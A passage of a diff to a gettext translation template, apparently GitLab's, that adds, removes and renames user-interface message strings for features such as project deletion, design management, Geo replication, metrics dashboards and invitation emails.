@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
